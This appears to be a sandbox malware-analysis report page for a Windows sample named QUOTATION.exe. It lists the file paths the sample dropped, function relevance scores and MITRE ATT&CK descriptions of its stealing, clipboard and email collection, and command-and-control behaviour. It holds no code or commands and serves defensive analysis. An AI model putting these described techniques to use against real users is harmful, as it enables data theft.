Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Alswith\Peroxidisement\Foresprges87\SolutionExplorerCLI.dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Industrialization\Snoldets\Embrocates\Utaalmodiges.Taa169

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept\libpkcs11-helper-1.dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept\maintenanceservice2.exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept\percentile.dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\hamotzi\Dampning.Dub

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\hamotzi\System.Security.Cryptography.X509Certificates.dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\hamotzi\System.dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\hamotzi\libdatrie-1.dll

C:\Users\user\AppData\Local\Temp\4995H5Jfc

C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll

Static File Info

General

File Icon

Windows Analysis Report
QUOTATION.exe

Function 00403235 Relevance: 87.9, APIs: 32, Strings: 18, Instructions: 366
stringcomfileCOMMON

Function 0040523F Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Function 00402DC4 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 181
memoryCOMMON

Function 6F601A98 Relevance: 20.1, APIs: 13, Instructions: 591
stringlibrarymemoryCOMMONCrypto

Function 004057A2 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Function 00402138 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139
comCOMMON

Function 00406666 Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Function 004062DD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Function 00403B94 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Function 004037F7 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Function 00405FFC Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 199
stringCOMMON

Function 00401759 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Function 00405101 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Function 004055C7 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39
COMMON

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre